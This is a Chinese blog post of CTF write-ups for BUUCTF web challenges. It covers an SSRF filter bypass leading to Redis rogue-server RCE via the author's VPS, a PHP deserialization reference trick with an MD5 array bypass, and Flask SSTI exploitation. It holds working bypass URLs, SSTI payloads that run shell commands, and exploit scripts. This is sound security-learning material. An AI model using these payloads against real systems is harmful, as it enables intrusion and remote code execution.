Web-14(53-56)-BUUCTF平台

上一篇 | 目录 | 下一篇

[网鼎杯 2020 玄武组]SSRFMe

访问得源码:

<?php
function check_inner_ip($url)
{
	//若没有匹配到 http、https、gopher、dict 协议,就 die 掉
	$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
	if (!$match_result)
	{
		die('url fomat error');
	}
	try
	{
		$url_parse=parse_url($url);
	}
	catch(Exception $e)
	{
		die('url fomat error');
		return false;
	}
	//若获得的 ip 为内网地址,返回 True
	$hostname=$url_parse['host'];
	$ip=gethostbyname($hostname);
	$int_ip=ip2long($ip);
	return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{
	// 若是内网 ip,提示非法
	if (check_inner_ip($url))
	{
		echo $url.' is inner ip';
	}
	else
	{
		//存在 SSRF 利用点
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		$output = curl_exec($ch);
		$result_info = curl_getinfo($ch);
		//这里检查了 302 跳转的地址是不是内网地址,说明 302 跳转绕过方法没法使用了
		if ($result_info['redirect_url'])
		{
			safe_request_url($result_info['redirect_url']);
		}
		curl_close($ch);
		var_dump($output);
	}

}
if(isset($_GET['url'])){
	$url = $_GET['url'];
	if(!empty($url)){
		safe_request_url($url);
	}
}
else{
	highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

一些可行的绕过方法:

?url=http://0.0.0.0/hint.php
?url=http://[::ffff:7f00:1]/hint.php
?url=http:///127.0.0.1/hint.php
?url=http://0x7f000001/hint.php

对于使用 16 进制的 0x7f000001 进行绕过我也很懵逼,按理说应该在 ip2long 那里被检测到的,本地测试了一下也是不能使用的,但是在该题中确实可以使用。

对于 http:///127.0.0.1/hint.php 这种形式,是参考的 [网鼎杯 2020 玄武组]SSRFMe
用 parse_url 解析这样的畸形 url 会返回 false,然后 $hostname=$url_parse['host']; 会返回 null,gethostbyname 会返回空,绕过了 ip检测。

成功利用得到 hint.php 内容:

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
	highlight_file(__FILE__);
}
if(isset($_POST['file'])){
	file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

测试发现不具备往网站根目录写文件权限。那么这里就算提示了 redis 的密码为 root,也不能利用 redis 写 shell。

这里的考点是 redis 主从复制。
redis 主从复制介绍可参考文章 Redis 主从复制详细解读
redis 主从复制 rce 介绍可参考文章 redis-post-exploitation 学习

直接利用 github 里的项目:Redis Rogue Serverredis-ssrf

将 redis-rogue-server 里的 exp.so 移到 redis-ssrf 中,修改其中的几个值如下

# your_vps 的 ip、port 和想要执行的命令
lhost="your_vps"
lport="6666"
command="ls /"
# redis的密码,默认为空
passwd = 'root' 
# 127.0.0.1 被过滤,这里用 0.0.0.0 进行绕过
ip = "0.0.0.0"
port="6379"

执行得到 payload:
在这里插入图片描述

然后在 vps 执行 rogue-server.py,访问靶机利用刚才的 payload 进行攻击,rce 成功:
在这里插入图片描述

这时 vps 执行的 rogue-server.py 会提示成功执行。
在这里插入图片描述

修改 command 命令为 cat /flag,再一次执行得到 flag:
在这里插入图片描述





BUU CODE REVIEW 1

访问给源码:

<?php
highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

考点1:md5弱比较,可以直接用数组绕过。
考点2:反序列化,引用传值

构造序列化链:

<?php
class BUU {
    public $correct = "";
    public $input = "";
}


$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);
//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>

payload:

GET 传值    ?pleaseget=1
POST传值    pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

在这里插入图片描述





[GYCTF2020]FlaskApp

在这里插入图片描述

看到是一个 flask 框架,实现了 base64 加解密功能,直接尝试 SSTI。

加密处提交 {{3+4}} 得到结果 e3szKzR9fQ==
解密处提交 e3szKzR9fQ== 得到结果 7,说明确实存在 SSTI。

由于界面切换麻烦,直接写 exp。不断修改 payload 得到结果:

import requests
import re,html

payload = '{{2+4}}'
payload = '{% for c in "".__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=="catch_warnings" %}{{c.__init__.__globals__["__builtins__"]["__impo"+"rt__"]("o"+"s").__dict__["pop"+"en"]("ls /").read()}}{% endif %}{% endfor %}'
#payload = '{{x.__init__.__globals__["__builtins__"]["ev"+"al"]("__imp"+"ort__(\'o"+"s\').pop"+"en(\'cat /this_is_the_fl"+"ag.txt\').read()")}}'
payload = '{{url_for.__globals__["__builtins__"]["ev"+"al"](")(daer.)\'/ sl\'(nepop.)\'so\'(__tropmi__"[::-1])}}'

url1 = 'http://74576880-e37a-484b-a4d4-c3721c364872.node4.buuoj.cn/'
url2 = 'http://74576880-e37a-484b-a4d4-c3721c364872.node4.buuoj.cn/decode'

data1 = {
    'text': payload
}
r1 = requests.post(url1,data=data1)
#print(r.text)
text_e = re.findall(r"结果  :(.*)",r1.text)[0]
print(text_e)

data2 = {
    'text': text_e
}
r2 = requests.post(url2, data=data2)
#print(r2.text)
# 界面报错
if "Werkzeug Debugger" in r2.text:
    print(r2.text)
# 字符没过滤的情况
elif "no no no !!" not in r2.text:
    text_d = re.findall(r"结果 : (.*?)</div>",r2.text, re.S)[0]
    #print(text_d)
    res = html.unescape(html.unescape(text_d))
    print(res)
else:
    print('no no no !!')

顺便查看 app.py 内容:

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')

class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
    def waf(str):
        black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
        for x in black_list :
            if x in str.lower() :
                return 1

@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)

@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果 :{0}".format(str(text_decode.decode()))
        res = render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res = render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")

@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)





[pasecactf_2019]flask_ssti

简单测试了一下,发现过滤了 '_.
这里可以用编码绕过 _,即使用 \x5f 代替 _
对于 . 号,可以使用 [] 绕过。

''.__class__
""["\x5f\x5fclass\x5f\x5f"]

构造payload, POST 传值:

nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[132]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat a*")["read"]()}}

nickname={% for c in []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]() %}{% if c["\x5f\x5fname\x5f\x5f"]=="catch\x5fwarnings" %}{{ c["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat a*")["read"]() }}{% endif %}{% endfor %}

读出 app.py 源码如下:

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
# Tiaonmmn don 't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜” * °★☆★_ % s_★☆★°° * ', ' % s~♡ⓛⓞⓥⓔ♡~', ' % s Вêчңø в øĤлâйĤé ', '♪♪♪ % s♪♪♪ ', ' [♥♥♥ % s♥♥♥]', ' % s, kOтO® Aя)(оТеЛ@© 4@ $tьЯ ', '♔ % s♔ ', ' [♂+♂ = ♥] % s[♂+♂ = ♥]']

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
            return render_template_string(nicknames[id] % p)
        except Exception as e:
            print(e)
            return 'Exception'
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host = '0.0.0.0', port = 1337)

知道加密后的 flag 存在 config 里,读出来:
在这里插入图片描述

爆破一下即可得到 flag,exp 如下:

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

flagenc = '-M7\x10wC2?1\x00$er\x0e\x1c\x0cl\x03(D\x1d\x19[\x17x2V`\x02X@\n,\x04x&\x1d<\x12[\x18G'
key = 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2 = 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag = ''
for x in range(len(flagenc)):
    for i in range(32,127):
        if flagenc[x] == chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
            flag += chr(i)
            break
print(flag)
# flag{201c0669-c764-453e-a960-46b96c89d4d7}




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/119418621
========================================================

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值